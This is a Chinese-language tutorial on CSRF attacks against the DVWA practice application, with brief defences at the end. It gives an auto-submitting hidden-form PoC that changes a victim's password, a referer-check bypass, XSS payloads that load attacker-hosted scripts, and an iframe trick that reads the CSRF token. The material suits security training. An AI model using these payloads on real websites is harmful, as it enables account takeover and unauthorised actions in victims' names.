简述
CSRF:Cross-site request -forgery,跨站请求伪造,是一种web攻击方式,是由于网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要访问这个网站,都会默认你已经登录。
危害
攻击者可以利用你的身份,以你的名义发送恶意请求。cerf能够做的事情包括:以你的名义发送邮件,发信息,盗取你的账号,甚至购买商品,虚拟商品转账
CSRF之POC制作
测试环境:DVWA的CSRF,low
1、利用burpsuit生成CSRF_POC
打开要测试的页面,burpsuit拦截
右键,找到下图的东西
点击Generate CSRF Poc
由于burp生成的poc需要点击按钮才能触发 用户很难上当受骗 这里用js添加一个自动点击事件,
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><iframe name="target" style="display: none;"></iframe><!--iframe将作为跳转的接收页,为了隐藏我们使用display:none,不显示--><form action="http://IP/dvwa/vulnerabilities/csrf/" id="form" target="target"><input type="hidden" name="password_new" value="123456" /><input type="hidden" name="password_conf" value="123456" /><input type="hidden" name="Change" value="Change" /></form><script>var form = document.getElementById("form");form.submit();</script></body>
</html>
将此html放在自己服务器上,保证能访问到,dvwa这边处于登陆状态,然后使用同一浏览器,访问刚刚构造的POC,DVWA默认的密码为password
http://IP/csrf/csrf.html
密码成功修改
2、csrf绕过referer验证
很多网站会通过验证referer是否合法来判断是否是用户操作,但是他可能只是验证referer中是否
包含该网站的referer。如DVWA的判断原理是取出请求中的referer值,然后将host的值取出,然
后判断在referer值中有没有出现host值,如果出现则认为是正常请求,否则就拒绝请求。
绕过思路:将攻击文件的文件名改为该网站的域名(请求时的host值).
3、结合XSS
构造我们的payload,使用DVWA的反射型XSS测试
<script src="x" onerror=javascript:window.open("http://IP/csrf/csrf.html")></script>
访问之后,成功修改
另一种方式:
var form = document.createElement('form');
form.action='http://192.168.1.44/DVWA-master/vulnerabilities/csrf/';
form.target='target';
var pass1 = document.createElement('input');
pass1.name="password_new";
pass1.value = '123456';
var pass2 = document.createElement('input');
pass2.name = 'password_conf';
pass2.value = "123456";
var change = document.createElement('input');
change.name='Change';
change.value='Change';
form.appendChild(pass1);
form.appendChild(pass2);
form.appendChild(change);
document.body.append(form)
form.submit();
payload
<script src="http://192.168.1.7/st_test/csrf/csrf_js_poc.js">
</script>
4、csrf结合xss绕过token防御
token作为身份令牌,如果该值足够随机,那么安全系数将是很高的,按照这种逻辑这里不应该
存在csrf漏洞,但是如果网站存在XSS漏洞的话,那么这里的token就将形同虚设。我们可以利用
xss获取到token值,然后利用该值发起请求,从而构造相应从csrf攻击。但是这里存在一个问
题,那就是同源策略会限制我们的脚本,这里我们只能打出token,然后再诱惑用户点击我们构造
的页面,这样也会造成危害,但是这里由于token随机性,可能每次刷新页面就会失效,所以可
利用的概率就比较小了。
<iframe src='../csrf/' onload="alert(frames[0].document.getElementsByName('user_token')
[0].value)">
防御
- 关键操作增加验证码
- 验证referer
- 使用足够随机的token